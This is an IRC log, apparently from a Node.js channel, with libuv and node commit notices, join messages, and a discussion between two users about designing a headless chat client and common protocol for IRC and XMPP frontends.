CIA-69: libuv: test: fix uv_fs_readdir test [22:59] CIA-69: libuv: Don't make assumptions about the order in which the [22:59] CIA-69: libuv: directory entries are returned by the file system. - http://git.io/-znKxQ [23:00] sivy has joined the channel [23:00] jojohess has joined the channel [23:00] Vertice has joined the channel [23:01] AAA_awright: Nuck|mobile: I' [23:01] AAA_awright: bah [23:01] cjroebuck has joined the channel [23:02] AAA_awright: Nuck: I'm developing a core headless client, someone else is developing a desktop frontend client, maybe you want to design the web frontend? It would be nice if there were a standard system of chat clients that worked from anywhere [23:02] AAA_awright: And I guess you want to do the chat server itself, that the headless client connects to [23:02] AAA_awright: I'm content with making it work with IRC [23:03] enmand has joined the channel [23:05] halfhalo has joined the channel [23:06] halfhalo has joined the channel [23:07] k1ttty has joined the channel [23:07] sivy has joined the channel [23:08] Nuck: AAA_awright: Make it swappable? [23:09] Nuck: AAA_awright: You should make it a last-mile setup over IRC? [23:09] CIA-69: libuv: 03Ryan Dahl 07master * r142a702 10/ (src/unix/core.c test/test-fs.c): unix: fix fs_chmod - http://git.io/7ET3TQ [23:10] sounko has joined the channel [23:10] Drakonite has joined the channel [23:11] davidbanham has joined the channel [23:12] AAA_awright: Nuck: WHat [23:12] AAA_awright: sabah [23:12] matyr_ has joined the channel [23:12] AAA_awright: Nuck: What's a last-mile setup? [23:12] Nuck: AAA_awright: Basically, you use IRC protocol until the point right before the client [23:12] uptownben: anyone know what this means:Object.keys called on non-object [23:12] Nuck: So you connect over socket.io or another transport to that point [23:12] Nuck: But have a standard protocol for any chat system [23:13] Nuck: You can swap out the protocol beyond there [23:13] Nuck: You can even just make that point a server [23:13] AAA_awright: Nuck: I'm thinking it's the job of the headless client to read IRC or XMPP or whatever, everything after that point uses a common grammar if not a common vocabulary (as much as possible... [23:13] AAA_awright: I think the client will have to have some knowledge of what a +b is) [23:13] Nuck: AAA_awright: I wouldn't call it a headless client [23:13] AAA_awright: I think that's a better term than core [23:14] AAA_awright: It is a headless client, it's a client that you attach to [23:14] Nuck: I mean, it could be a client or it could be a server [23:14] Nuck: I could write a server that speaks your protocol [23:14] AAA_awright: headless implies it's a server that you attach to [23:14] ypcx has joined the channel [23:14] Nuck: I mean a chat server [23:14] Nuck: One which provides the rooms [23:14] Nuck: Like an IRC Daemon [23:14] AAA_awright: It's similar to a proxy in a sense [23:14] AAA_awright: The server itself is a server [23:14] antono has joined the channel [23:14] jesusabdullah: YOU're a headless client! [23:15] AAA_awright: The chat server that the headless clients connect to, is that what you mean? [23:15] AAA_awright: Or a regular client that does have a UI [23:15] Nuck: I mean the headless client [23:16] Nuck: Could be swapped out for a chat server that speaks your "common grammay and vocabulary" [23:17] CIA-69: node: 03Ryan Dahl 07master * r17021ea 10/ (12 files in 7 dirs): Upgrade libuv to 142a702 - http://git.io/aV7p9Q [23:18] AAA_awright: There's a distinct difference between a connection, which shows up as a user, and the protocol the headless client speaks to attaching clients, which includes local/server echo information, user settings, it doesn't always relay all the messages but only the ones you ask for, etc [23:18] CStumph has joined the channel [23:19] bassui has left the channel [23:20] c4milo1 has joined the channel [23:21] ryan[WIN] has joined the channel [23:26] TokyoDan has joined the channel [23:30] rfay has joined the channel [23:30] TokyoDan has joined the channel [23:31] TokyoDan has joined the channel [23:34] TokyoDan has joined the channel [23:34] stonecobra has left the channel [23:34] stonecobra has joined the channel [23:35] TokyoDan has joined the channel [23:35] dmkbot: joyent/node: Kos: Misleading console output for arrays with undefined - https://github.com/joyent/node/issues/1651 [23:38] TokyoDan has joined the channel [23:39] Caster_ has joined the channel [23:39] soapyillusions has joined the channel [23:40] eee_c1 has joined the channel [23:40] dgathright has joined the channel [23:41] joaojeronimo has joined the channel [23:41] cilffano has joined the channel [23:42] TokyoDan has joined the channel [23:47] JumpMast3r has joined the channel [23:47] bengrue has joined the channel [23:48] __sorin__ has joined the channel [23:48] tylerstalder has joined the channel [23:51] [[zz]] has joined the channel [23:51] Wa has joined the channel [23:53] edude03 has joined the channel [23:53] Croms has joined the channel [23:55] WRAz has left the channel [23:55] WRAz has joined the channel [23:57] CIA-69: libuv: 03Ryan Dahl 07master * r7ccc747 10/ test/test-fs.c : Add test for uv_fs_readdir sync - http://git.io/yp8LRQ [23:58] TokyoDan has joined the channel [23:58] m_ has joined the channel [23:59] replore has joined the channel [23:59] replore_ has joined the channel [23:59] random123: does anyone find using require() and exports difficult to maintain state of variables?